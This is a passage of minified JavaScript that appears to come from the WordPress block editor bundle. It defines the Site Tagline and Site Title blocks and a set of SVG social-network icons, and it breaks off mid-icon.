SM={};q(SM,{init:()=>ewe,metadata:()=>y6,name:()=>ile,settings:()=>lle});var y6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/site-tagline",title:"Site Tagline",category:"theme",description:"Describe in a few words what this site is about. This is important for search results, sharing on social media, and gives overall clarity to visitors.",keywords:["description"],textdomain:"default",attributes:{level:{type:"number",default:0},levelOptions:{type:"array",default:[0,1,2,3,4,5,6]}},example:{viewportWidth:350,attributes:{style:{typography:{textAlign:"center"}}}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},contentRole:!0,spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},editorStyle:"wp-block-site-tagline-editor",style:"wp-block-site-tagline"};var _6=o(z(),1),wM=o(Y(),1),Om=o(T(),1),x6=o(I(),1),k6=o(U(),1);var hu=o(v(),1);function ole(e){St(e);let{attributes:t,setAttributes:r,insertBlocksAfter:a}=e,{level:n,levelOptions:i}=t,{canUserEdit:l,tagline:s}=(0,_6.useSelect)(f=>{let{canUser:h,getEntityRecord:g,getEditedEntityRecord:b}=f(wM.store),y=h("update",{kind:"root",name:"site"}),_=y?b("root","site"):{},x=g("root","__unstableBase");return{canUserEdit:y,tagline:y?_?.description:x?.description}},[]),c=n===0?"p":`h${n}`,{editEntityRecord:u}=(0,_6.useDispatch)(wM.store);function m(f){u("root","site",void 0,{description:f})}let p=(0,Om.useBlockProps)({className:!l&&!s&&"wp-block-site-tagline__placeholder"}),d=l?(0,hu.jsx)(Om.RichText,{allowedFormats:[],onChange:m,"aria-label":(0,x6.__)("Site tagline text"),placeholder:(0,x6.__)("Write site tagline\u2026"),tagName:c,value:s,disableLineBreaks:!0,__unstableOnSplitAtEnd:()=>a((0,k6.createBlock)((0,k6.getDefaultBlockName)())),...p}):(0,hu.jsx)(c,{...p,children:s||(0,x6.__)("Site Tagline placeholder")});return(0,hu.jsxs)(hu.Fragment,{children:[(0,hu.jsx)(Om.BlockControls,{group:"block",children:(0,hu.jsx)(Om.HeadingLevelDropdown,{value:n,options:i,onChange:f=>r({level:f})})}),d]})}var w6=o(A(),1),CM=o(v(),1),ale=(0,CM.jsx)(w6.SVG,{xmlns:"http://www.w3.org/2000/svg",width:"24",height:"24",children:(0,CM.jsx)(w6.Path,{d:"M4 10.5h16V9H4v1.5ZM4 15h9v-1.5H4V15Z"})});var X3e={attributes:{textAlign:{type:"string"},level:{type:"number"},levelOptions:{type:"array",default:[0,1,2,3,4,5,6]}},supports:{anchor:!0,reusable:!1,html:!1,color:{gradients:!0,__experimentalDefaultControls:{background:!0,text:!0}},spacing:{margin:!0,padding:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},J3e={attributes:{textAlign:{type:"string"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0},spacing:{margin:!0,padding:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},nle=[X3e,J3e];var{name:ile}=y6,lle={icon:ale,edit:ole,deprecated:nle},ewe=()=>N({name:ile,metadata:y6,settings:lle});var BM={};q(BM,{init:()=>nwe,metadata:()=>C6,name:()=>ple,settings:()=>dle});var C6={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:3,name:"core/site-title",title:"Site Title",category:"theme",description:"Displays the name of this site. Update the block, and the changes apply everywhere it\u2019s used. This will also appear in the browser title bar and in search results.",textdomain:"default",attributes:{level:{type:"number",default:1},levelOptions:{type:"array",default:[0,1,2,3,4,5,6]},isLink:{type:"boolean",default:!0,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"}},example:{viewportWidth:500},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{padding:!0,margin:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,textAlign:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},editorStyle:"wp-block-site-title-editor",style:"wp-block-site-title"};var S6=o(z(),1),TM=o(Y(),1),mc=o(I(),1),ul=o(T(),1),Hm=o(A(),1),T6=o(U(),1),PM=o(Ho(),1);var Mo=o(v(),1);function sle(e){St(e);let{attributes:t,setAttributes:r,insertBlocksAfter:a}=e,{level:n,levelOptions:i,isLink:l,linkTarget:s}=t,{canUserEdit:c,title:u}=(0,S6.useSelect)(y=>{let{canUser:_,getEntityRecord:x,getEditedEntityRecord:k}=y(TM.store),S=_("update",{kind:"root",name:"site"}),C=S?k("root","site"):{},E=x("root","__unstableBase");return{canUserEdit:S,title:S?C?.title:E?.name}},[]),{editEntityRecord:m}=(0,S6.useDispatch)(TM.store),p=W(),d=(0,ul.useBlockEditingMode)();function f(y){m("root","site",void 0,{title:y.trim()})}let h=n===0?"p":`h${n}`,g=(0,ul.useBlockProps)({className:!c&&!u&&"wp-block-site-title__placeholder"}),b=c?(0,Mo.jsx)(h,{...g,children:(0,Mo.jsx)(ul.RichText,{tagName:l?"a":"span",href:l?"#site-title-pseudo-link":void 0,"aria-label":(0,mc.__)("Site title text"),placeholder:(0,mc.__)("Write site title\u2026"),value:u,onChange:f,allowedFormats:[],disableLineBreaks:!0,__unstableOnSplitAtEnd:()=>a((0,T6.createBlock)((0,T6.getDefaultBlockName)()))})}):(0,Mo.jsx)(h,{...g,children:l?(0,Mo.jsx)("a",{href:"#site-title-pseudo-link",onClick:y=>y.preventDefault(),children:(0,PM.decodeEntities)(u)||(0,mc.__)("Site Title placeholder")}):(0,Mo.jsx)("span",{children:(0,PM.decodeEntities)(u)||(0,mc.__)("Site Title placeholder")})});return(0,Mo.jsxs)(Mo.Fragment,{children:[d==="default"&&(0,Mo.jsx)(ul.BlockControls,{group:"block",children:(0,Mo.jsx)(ul.HeadingLevelDropdown,{value:n,options:i,onChange:y=>r({level:y})})}),(0,Mo.jsx)(ul.InspectorControls,{children:(0,Mo.jsxs)(Hm.__experimentalToolsPanel,{label:(0,mc.__)("Settings"),resetAll:()=>{r({isLink:!0,linkTarget:"_self"})},dropdownMenuProps:p,children:[(0,Mo.jsx)(Hm.__experimentalToolsPanelItem,{hasValue:()=>!l,label:(0,mc.__)("Make title link to home"),onDeselect:()=>r({isLink:!0}),isShownByDefault:!0,children:(0,Mo.jsx)(Hm.ToggleControl,{label:(0,mc.__)("Make title link to home"),onChange:()=>r({isLink:!l}),checked:l})}),l&&(0,Mo.jsx)(Hm.__experimentalToolsPanelItem,{hasValue:()=>s!=="_self",label:(0,mc.__)("Open in new tab"),onDeselect:()=>r({linkTarget:"_self"}),isShownByDefault:!0,children:(0,Mo.jsx)(Hm.ToggleControl,{label:(0,mc.__)("Open in new tab"),onChange:y=>r({linkTarget:y?"_blank":"_self"}),checked:s==="_blank"})})]})}),b]})}var rwe={attributes:{textAlign:{type:"string"},level:{type:"number",default:1},levelOptions:{type:"array",default:[0,1,2,3,4,5,6]},isLink:{type:"boolean",default:!0,role:"content"},linkTarget:{type:"string",default:"_self",role:"content"}},supports:{anchor:!0,align:["wide","full"],html:!1,color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0,link:!0}},spacing:{padding:!0,margin:!0,__experimentalDefaultControls:{margin:!1,padding:!1}},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0,__experimentalWritingMode:!0,__experimentalDefaultControls:{fontSize:!0}},interactivity:{clientNavigation:!0},__experimentalBorder:{radius:!0,color:!0,width:!0,style:!0}},migrate:be,isEligible(e){return!!e.textAlign||!!e.className?.match(/\bhas-text-align-(left|center|right)\b/)},save:()=>null},owe={attributes:{level:{type:"number",default:1},textAlign:{type:"string"},isLink:{type:"boolean",default:!0},linkTarget:{type:"string",default:"_self"}},supports:{align:["wide","full"],html:!1,color:{gradients:!0,link:!0},spacing:{padding:!0,margin:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalTextTransform:!0,__experimentalFontStyle:!0,__experimentalFontWeight:!0,__experimentalLetterSpacing:!0}},save(){return null},migrate:jt,isEligible({style:e}){return e?.typography?.fontFamily}},cle=[rwe,owe];var ule=o(U(),1),awe={to:[{type:"block",blocks:["core/site-logo"],transform:({isLink:e,linkTarget:t})=>(0,ule.createBlock)("core/site-logo",{isLink:e,linkTarget:t})}]},mle=awe;var{name:ple}=C6,dle={icon:wT,example:{viewportWidth:350,attributes:{style:{typography:{textAlign:"center"}}}},edit:sle,transforms:mle,deprecated:cle},nwe=()=>N({name:ple,metadata:C6,settings:dle});var SA={};q(SA,{init:()=>mwe,metadata:()=>kS,name:()=>fse,settings:()=>wS});var CA=o(I(),1);var dse=o(U(),1);var Dg=o(Cs(),1),_S=o(z(),1),cn=o(T(),1),$d=o(j(),1),eo=o(A(),1),sse=o(ue(),1),Fn=o(I(),1);var cse=o(U(),1);var wA=o(I(),1);var P6=o(L(),1),IM=o(v(),1),fle=()=>(0,IM.jsx)(P6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,IM.jsx)(P6.Path,{d:"M13.582,8.182C11.934,8.367,9.78,8.49,8.238,9.166c-1.781,0.769-3.03,2.337-3.03,4.644 c0,2.953,1.86,4.429,4.253,4.429c2.02,0,3.125-0.477,4.685-2.065c0.516,0.747,0.685,1.109,1.629,1.894 c0.212,0.114,0.483,0.103,0.672-0.066l0.006,0.006c0.567-0.505,1.599-1.401,2.18-1.888c0.231-0.188,0.19-0.496,0.009-0.754 c-0.52-0.718-1.072-1.303-1.072-2.634V8.305c0-1.876,0.133-3.599-1.249-4.891C15.23,2.369,13.422,2,12.04,2 C9.336,2,6.318,3.01,5.686,6.351C5.618,6.706,5.877,6.893,6.109,6.945l2.754,0.298C9.121,7.23,9.308,6.977,9.357,6.72 c0.236-1.151,1.2-1.706,2.284-1.706c0.584,0,1.249,0.215,1.595,0.738c0.398,0.584,0.346,1.384,0.346,2.061V8.182z M13.049,14.088 c-0.451,0.8-1.169,1.291-1.967,1.291c-1.09,0-1.728-0.83-1.728-2.061c0-2.42,2.171-2.86,4.227-2.86v0.615 C13.582,12.181,13.608,13.104,13.049,14.088z M20.683,19.339C18.329,21.076,14.917,22,11.979,22c-4.118,0-7.826-1.522-10.632-4.057 c-0.22-0.199-0.024-0.471,0.241-0.317c3.027,1.762,6.771,2.823,10.639,2.823c2.608,0,5.476-0.541,8.115-1.66 C20.739,18.62,21.072,19.051,20.683,19.339z M21.336,21.043c-0.194,0.163-0.379,0.076-0.293-0.139 c0.284-0.71,0.92-2.298,0.619-2.684c-0.301-0.386-1.99-0.183-2.749-0.092c-0.23,0.027-0.266-0.173-0.059-0.319 c1.348-0.946,3.555-0.673,3.811-0.356C22.925,17.773,22.599,19.986,21.336,21.043z"})});var B6=o(L(),1),EM=o(v(),1),hle=()=>(0,EM.jsx)(B6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,EM.jsx)(B6.Path,{d:"M15.27 17.289 3 17.289 8.73 6.711 21 6.711 15.27 17.289"})});var I6=o(L(),1),NM=o(v(),1),gle=()=>(0,NM.jsx)(I6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,NM.jsx)(I6.Path,{d:"M7.799,5.698c0.589,0,1.12,0.051,1.606,0.156c0.482,0.102,0.894,0.273,1.241,0.507c0.344,0.235,0.612,0.546,0.804,0.938 c0.188,0.387,0.281,0.871,0.281,1.443c0,0.619-0.141,1.137-0.421,1.551c-0.284,0.413-0.7,0.751-1.255,1.014 c0.756,0.218,1.317,0.601,1.689,1.146c0.374,0.549,0.557,1.205,0.557,1.975c0,0.623-0.12,1.161-0.359,1.612 c-0.241,0.457-0.569,0.828-0.973,1.114c-0.408,0.288-0.876,0.5-1.399,0.637C9.052,17.931,8.514,18,7.963,18H2V5.698H7.799 M7.449,10.668c0.481,0,0.878-0.114,1.192-0.345c0.311-0.228,0.463-0.603,0.463-1.119c0-0.286-0.051-0.523-0.152-0.707 C8.848,8.315,8.711,8.171,8.536,8.07C8.362,7.966,8.166,7.894,7.94,7.854c-0.224-0.044-0.457-0.06-0.697-0.06H4.709v2.874H7.449z M7.6,15.905c0.267,0,0.521-0.024,0.759-0.077c0.243-0.053,0.457-0.137,0.637-0.261c0.182-0.12,0.332-0.283,0.441-0.491 C9.547,14.87,9.6,14.602,9.6,14.278c0-0.633-0.18-1.084-0.533-1.357c-0.356-0.27-0.83-0.404-1.413-0.404H4.709v3.388L7.6,15.905z M16.162,15.864c0.367,0.358,0.897,0.538,1.583,0.538c0.493,0,0.92-0.125,1.277-0.374c0.354-0.248,0.571-0.514,0.654-0.79h2.155 c-0.347,1.072-0.872,1.838-1.589,2.299C19.534,18,18.67,18.23,17.662,18.23c-0.701,0-1.332-0.113-1.899-0.337 c-0.567-0.227-1.041-0.544-1.439-0.958c-0.389-0.415-0.689-0.907-0.904-1.484c-0.213-0.574-0.32-1.21-0.32-1.899 c0-0.666,0.11-1.288,0.329-1.863c0.222-0.577,0.529-1.075,0.933-1.492c0.406-0.42,0.885-0.751,1.444-0.994 c0.558-0.241,1.175-0.363,1.857-0.363c0.754,0,1.414,0.145,1.98,0.44c0.563,0.291,1.026,0.686,1.389,1.181 c0.363,0.493,0.622,1.057,0.783,1.69c0.16,0.632,0.217,1.292,0.171,1.983h-6.428C15.557,14.84,15.795,15.506,16.162,15.864 M18.973,11.184c-0.291-0.321-0.783-0.496-1.384-0.496c-0.39,0-0.714,0.066-0.973,0.2c-0.254,0.132-0.461,0.297-0.621,0.491 c-0.157,0.197-0.265,0.405-0.328,0.628c-0.063,0.217-0.101,0.413-0.111,0.587h3.98C19.478,11.969,19.265,11.509,18.973,11.184z M15.057,7.738h4.985V6.524h-4.985L15.057,7.738z"})});var E6=o(L(),1),DM=o(v(),1),vle=()=>(0,DM.jsx)(E6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,DM.jsx)(E6.Path,{d:"M6.3,4.2c2.3,1.7,4.8,5.3,5.7,7.2.9-1.9,3.4-5.4,5.7-7.2,1.7-1.3,4.3-2.2,4.3.9s-.4,5.2-.6,5.9c-.7,2.6-3.3,3.2-5.6,2.8,4,.7,5.1,3,2.9,5.3-5,5.2-6.7-2.8-6.7-2.8,0,0-1.7,8-6.7,2.8-2.2-2.3-1.2-4.6,2.9-5.3-2.3.4-4.9-.3-5.6-2.8-.2-.7-.6-5.3-.6-5.9,0-3.1,2.7-2.1,4.3-.9h0Z"})});var N6=o(L(),1),LM=o(v(),1),Rb=()=>(0,LM.jsx)(N6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,LM.jsx)(N6.Path,{d:"M15.6 7.2H14v1.5h1.6c2 0 3.7 1.7 3.7 3.7s-1.7 3.7-3.7 3.7H14v1.5h1.6c2.8 0 5.2-2.3 5.2-5.2 0-2.9-2.3-5.2-5.2-5.2zM4.7 12.4c0-2 1.7-3.7 3.7-3.7H10V7.2H8.4c-2.9 0-5.2 2.3-5.2 5.2 0 2.9 2.3 5.2 5.2 5.2H10v-1.5H8.4c-2 0-3.7-1.7-3.7-3.7zm4.6.9h5.3v-1.5H9.3v1.5z"})});var D6=o(L(),1),MM=o(v(),1),ble=()=>(0,MM.jsx)(D6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,MM.jsx)(D6.Path,{d:"M22.016,8.84c-0.002-0.013-0.005-0.025-0.007-0.037c-0.005-0.025-0.008-0.048-0.015-0.072 c-0.003-0.015-0.01-0.028-0.013-0.042c-0.008-0.02-0.015-0.04-0.023-0.062c-0.007-0.015-0.013-0.028-0.02-0.042 c-0.008-0.02-0.018-0.037-0.03-0.057c-0.007-0.013-0.017-0.027-0.025-0.038c-0.012-0.018-0.023-0.035-0.035-0.052 c-0.01-0.013-0.02-0.025-0.03-0.037c-0.015-0.017-0.028-0.032-0.043-0.045c-0.01-0.012-0.022-0.023-0.035-0.035 c-0.015-0.015-0.032-0.028-0.048-0.04c-0.012-0.01-0.025-0.02-0.037-0.03c-0.005-0.003-0.01-0.008-0.015-0.012l-9.161-6.096 c-0.289-0.192-0.666-0.192-0.955,0L2.359,8.237C2.354,8.24,2.349,8.245,2.344,8.249L2.306,8.277 c-0.017,0.013-0.033,0.027-0.048,0.04C2.246,8.331,2.234,8.342,2.222,8.352c-0.015,0.015-0.028,0.03-0.042,0.047 c-0.012,0.013-0.022,0.023-0.03,0.037C2.139,8.453,2.125,8.471,2.115,8.488C2.107,8.501,2.099,8.514,2.09,8.526 C2.079,8.548,2.069,8.565,2.06,8.585C2.054,8.6,2.047,8.613,2.04,8.626C2.032,8.648,2.025,8.67,2.019,8.69 c-0.005,0.013-0.01,0.027-0.013,0.042C1.999,8.755,1.995,8.778,1.99,8.803C1.989,8.817,1.985,8.828,1.984,8.84 C1.978,8.879,1.975,8.915,1.975,8.954v6.093c0,0.037,0.003,0.075,0.008,0.112c0.002,0.012,0.005,0.025,0.007,0.038 c0.005,0.023,0.008,0.047,0.015,0.072c0.003,0.015,0.008,0.028,0.013,0.04c0.007,0.022,0.013,0.042,0.022,0.063 c0.007,0.015,0.013,0.028,0.02,0.04c0.008,0.02,0.018,0.038,0.03,0.058c0.007,0.013,0.015,0.027,0.025,0.038 c0.012,0.018,0.023,0.035,0.035,0.052c0.01,0.013,0.02,0.025,0.03,0.037c0.013,0.015,0.028,0.032,0.042,0.045 c0.012,0.012,0.023,0.023,0.035,0.035c0.015,0.013,0.032,0.028,0.048,0.04l0.038,0.03c0.005,0.003,0.01,0.007,0.013,0.01 l9.163,6.095C11.668,21.953,11.833,22,12,22c0.167,0,0.332-0.047,0.478-0.144l9.163-6.095l0.015-0.01 c0.013-0.01,0.027-0.02,0.037-0.03c0.018-0.013,0.035-0.028,0.048-0.04c0.013-0.012,0.025-0.023,0.035-0.035 c0.017-0.015,0.03-0.032,0.043-0.045c0.01-0.013,0.02-0.025,0.03-0.037c0.013-0.018,0.025-0.035,0.035-0.052 c0.008-0.013,0.018-0.027,0.025-0.038c0.012-0.02,0.022-0.038,0.03-0.058c0.007-0.013,0.013-0.027,0.02-0.04 c0.008-0.022,0.015-0.042,0.023-0.063c0.003-0.013,0.01-0.027,0.013-0.04c0.007-0.025,0.01-0.048,0.015-0.072 c0.002-0.013,0.005-0.027,0.007-0.037c0.003-0.042,0.007-0.079,0.007-0.117V8.954C22.025,8.915,22.022,8.879,22.016,8.84z M12.862,4.464l6.751,4.49l-3.016,2.013l-3.735-2.492V4.464z M11.138,4.464v4.009l-3.735,2.494L4.389,8.954L11.138,4.464z M3.699,10.562L5.853,12l-2.155,1.438V10.562z M11.138,19.536l-6.749-4.491l3.015-2.011l3.735,2.492V19.536z M12,14.035L8.953,12 L12,9.966L15.047,12L12,14.035z M12.862,19.536v-4.009l3.735-2.492l3.016,2.011L12.862,19.536z M20.303,13.438L18.147,12 l2.156-1.438L20.303,13.438z"})});var L6=o(L(),1),AM=o(v(),1),yle=()=>(0,AM.jsx)(L6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,AM.jsx)(L6.Path,{d:"M 18.19 5.636 18.19 2 18.188 2 14.553 2 14.19 2.366 12.474 5.636 11.935 6 5.81 6 5.81 10.994 9.177 10.994 9.477 11.357 5.81 18.363 5.81 22 5.811 22 9.447 22 9.81 21.634 11.526 18.364 12.065 18 18.19 18 18.19 13.006 14.823 13.006 14.523 12.641 18.19 5.636z"})});var M6=o(L(),1),RM=o(v(),1),xle=()=>(0,RM.jsx)(M6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,RM.jsx)(M6.Path,{d:"M20.317 4.369A19.88 19.88 0 0 0 15.894 3a14.145 14.145 0 0 0-.719 1.518 19.205 19.205 0 0 0-5.351 0A14.183 14.183 0 0 0 9.104 3 19.896 19.896 0 0 0 4.682 4.369a18.921 18.921 0 0 0-3.012 12.52 19.929 19.929 0 0 0 6.081 3.097c.487-.65.922-1.339 1.3-2.061a12.445 12.445 0 0 1-1.958-.896c.165-.12.326-.246.483-.374a12.445 12.445 0 0 0 8.946 0c.157.128.318.253.483.374-.627.371-1.281.683-1.958.896.379.722.813 1.41 1.3 2.061a19.94 19.94 0 0 0 6.081-3.097 18.921 18.921 0 0 0-3.012-12.52ZM8.12 15.233c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Zm7.757 0c-1.202 0-2.184-1.09-2.184-2.431 0-1.34.97-2.431 2.184-2.431 1.213 0 2.202 1.09 2.184 2.431 0 1.341-.97 2.431-2.184 2.431Z"})});var A6=o(L(),1),zM=o(v(),1),_le=()=>(0,zM.jsx)(A6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,zM.jsx)(A6.Path,{d:"M12,22C6.486,22,2,17.514,2,12S6.486,2,12,2c5.514,0,10,4.486,10,10S17.514,22,12,22z M20.434,13.369 c-0.292-0.092-2.644-0.794-5.32-0.365c1.117,3.07,1.572,5.57,1.659,6.09C18.689,17.798,20.053,15.745,20.434,13.369z M15.336,19.876c-0.127-0.749-0.623-3.361-1.822-6.477c-0.019,0.006-0.038,0.013-0.056,0.019c-4.818,1.679-6.547,5.02-6.701,5.334 c1.448,1.129,3.268,1.803,5.243,1.803C13.183,20.555,14.311,20.313,15.336,19.876z M5.654,17.724 c0.193-0.331,2.538-4.213,6.943-5.637c0.111-0.036,0.224-0.07,0.337-0.102c-0.214-0.485-0.448-0.971-0.692-1.45 c-4.266,1.277-8.405,1.223-8.778,1.216c-0.003,0.087-0.004,0.174-0.004,0.261C3.458,14.207,4.29,16.21,5.654,17.724z M3.639,10.264 c0.382,0.005,3.901,0.02,7.897-1.041c-1.415-2.516-2.942-4.631-3.167-4.94C5.979,5.41,4.193,7.613,3.639,10.264z M9.998,3.709 c0.236,0.316,1.787,2.429,3.187,5c3.037-1.138,4.323-2.867,4.477-3.085C16.154,4.286,14.17,3.471,12,3.471 C11.311,3.471,10.641,3.554,9.998,3.709z M18.612,6.612C18.432,6.855,17,8.69,13.842,9.979c0.199,0.407,0.389,0.821,0.567,1.237 c0.063,0.148,0.124,0.295,0.184,0.441c2.842-0.357,5.666,0.215,5.948,0.275C20.522,9.916,19.801,8.065,18.612,6.612z"})});var R6=o(L(),1),VM=o(v(),1),kle=()=>(0,VM.jsx)(R6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,VM.jsx)(R6.Path,{d:"M12,6.134L6.069,9.797L2,6.54l5.883-3.843L12,6.134z M2,13.054l5.883,3.843L12,13.459L6.069,9.797L2,13.054z M12,13.459 l4.116,3.439L22,13.054l-4.069-3.257L12,13.459z M22,6.54l-5.884-3.843L12,6.134l5.931,3.663L22,6.54z M12.011,14.2l-4.129,3.426 l-1.767-1.153v1.291l5.896,3.539l5.897-3.539v-1.291l-1.769,1.153L12.011,14.2z"})});var z6=o(L(),1),FM=o(v(),1),wle=()=>(0,FM.jsx)(z6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,FM.jsx)(z6.Path,{d:"M9.16033,4.038c0-.27174.02717-.43478.48913-.43478h6.22283c1.087,0,1.68478.92391,2.11957,2.663l.35326,1.38587h1.05978C19.59511,3.712,19.75815,2,19.75815,2s-2.663.29891-4.23913.29891h-7.962L3.29076,2.163v1.1413L4.731,3.57609c1.00543.19022,1.25.40761,1.33152,1.33152,0,0,.08152,2.71739.08152,7.20109s-.08152,7.17391-.08152,7.17391c0,.81522-.32609,1.11413-1.33152,1.30435l-1.44022.27174V22l4.2663-.13587h7.11957c1.60326,0,5.32609.13587,5.32609.13587.08152-.97826.625-5.40761.70652-5.89674H19.7038L18.644,18.52174c-.84239,1.90217-2.06522,2.038-3.42391,2.038H11.1712c-1.3587,0-2.01087-.54348-2.01087-1.712V12.65217s3.0163,0,3.99457.08152c.76087.05435,1.22283.27174,1.46739,1.33152l.32609,1.413h1.16848l-.08152-3.55978.163-3.587H15.02989l-.38043,1.57609c-.24457,1.03261-.40761,1.22283-1.46739,1.33152-1.38587.13587-4.02174.1087-4.02174.1087Z"})});var V6=o(L(),1),OM=o(v(),1),Cle=()=>(0,OM.jsx)(V6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,OM.jsx)(V6.Path,{d:"M12 2C6.5 2 2 6.5 2 12c0 5 3.7 9.1 8.4 9.9v-7H7.9V12h2.5V9.8c0-2.5 1.5-3.9 3.8-3.9 1.1 0 2.2.2 2.2.2v2.5h-1.3c-1.2 0-1.6.8-1.6 1.6V12h2.8l-.4 2.9h-2.3v7C18.3 21.1 22 17 22 12c0-5.5-4.5-10-10-10z"})});var F6=o(L(),1),HM=o(v(),1),Sle=()=>(0,HM.jsx)(F6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,HM.jsx)(F6.Path,{d:"M2,8.667V12c5.515,0,10,4.485,10,10h3.333C15.333,14.637,9.363,8.667,2,8.667z M2,2v3.333 c9.19,0,16.667,7.477,16.667,16.667H22C22,10.955,13.045,2,2,2z M4.5,17C3.118,17,2,18.12,2,19.5S3.118,22,4.5,22S7,20.88,7,19.5 S5.882,17,4.5,17z"})});var O6=o(L(),1),jM=o(v(),1),Tle=()=>(0,jM.jsx)(O6.SVG,{width:"24",height:"24",viewBox:"0 0 24 24",version:"1.1",children:(0,jM.jsx)(O6.Path,{d:"M6.94026,15.1412c.00437.01213.108.29862.168.44064a6.55008,6.55008,0,1,0,6.03191-9.09557,6.68654,6.68654,0,0,0-2.58357.51467A8.53914,8.53914,0,0,0,8.21268,8.61344L8.209,8.61725V3.22948l9.0504-.00008c.32934-.0036.32934-.46353.32934-.61466s0-.61091-.33035-.61467L7.47248,2a.43.43,0,0,0-.43131.42692v7.58355c0,.24466.30476.42131.58793.4819.553.11812.68074-.05864.81617-.2457l.018-.02481A10.52673,10.52673,0,0,1,9.32258,9.258a5.35268,5.35268,0,1,1,7.58985,7.54976,5.417,5.417,0,0,1-3.80867,1.56365,5.17483,5.17483,0,0,1-2.69822-.74478l.00342-4.61111a2.79372,2.79372,0,0,1,.71372-1.78792,2.61611,2.61611,0,0,1,1.98282-.89477,2.75683,2.75683,0,0,1,1.95525.79477,2.66867,2.66867,0,0,1,.79656,1.909,2.724,2.724,0,0,1-2.75849,2.748,4.94651,4.94651,0,0,1-.86254-.13719c-.31234-.093-.44519.34058-.48892.48349-.16811.54966.08453.65862.13687.67489a3.75751,3.75751,0,0,0,1.25234.18375,3.94634,3.94634,0,1,0-2.82444-6.742,3.67478,3.67478,0,0,0-1.13028,2.584l-.00041.02323c-.0035.11667-.00579,2.881-.00644,3.78811l-.00407-.00451a6.18521,6.18521,0,0,1-1.0851-1.86092c-.10544-.27856-.34358-.22925-.66857-.12917-.14192.04372-.57386.17677-.47833.489Zm4.65165-1.08338a.51346.51346,0,0,0,.19513.31818l.02276.022a.52945.52945,0,0,0,.3517.18416.24242.24242,0,0,0,.16577-.0611c.05473-.05082.67382-.67812.73287-.738l.69041.68819a.28978.28978,0,0,0,.21437.11032.53239.53239,0,0,0,.35708-.19486c.29792-.30419.14885-.46821.07676-.54751l-.69954-.69975.72952-.73469c.16-.17311.01874-.35708-.12218-.498-.20461-.20461-.402-.25742-.52855-.14083l-.7254.72665-.73354-.73375a.20128.20128,0,0,0-.14179-.05695.54135.54135,0,0,0-.34379.19648c-.22561.22555-.274.38149-.15656.5059l.73374.7315-.72942.73072A.26589.26589,0,0,0,11.59191,14.05782Zm1.59866-9.915A8.86081,8.86081,0,0,0,9.854,4.776a.26169.26169,0,0,0-.16938.22759.92978.92978,0,0,0,.08619.42094c.05682.14524.20779.531.50006.41955a8.40969,8.40969,0,0,1,2.91968-.55484,7.87875,7.87875,0,0,1,3.086.62286,8.61817,8.61817,0,0,1,2.30562,1.49315.2781.2781,0,0,0,.18318.07586c.15529,0,.30425-.15253.43167-.29551.21268-.23861.35873-.4369.1492-.63538a8.50425,8.50425,0,0,0-2.62312-1.694A9.0177,9.0177,0,0,0,13.19058,4.14283ZM19.50945,18.6236h0a.93171.93171,0,0,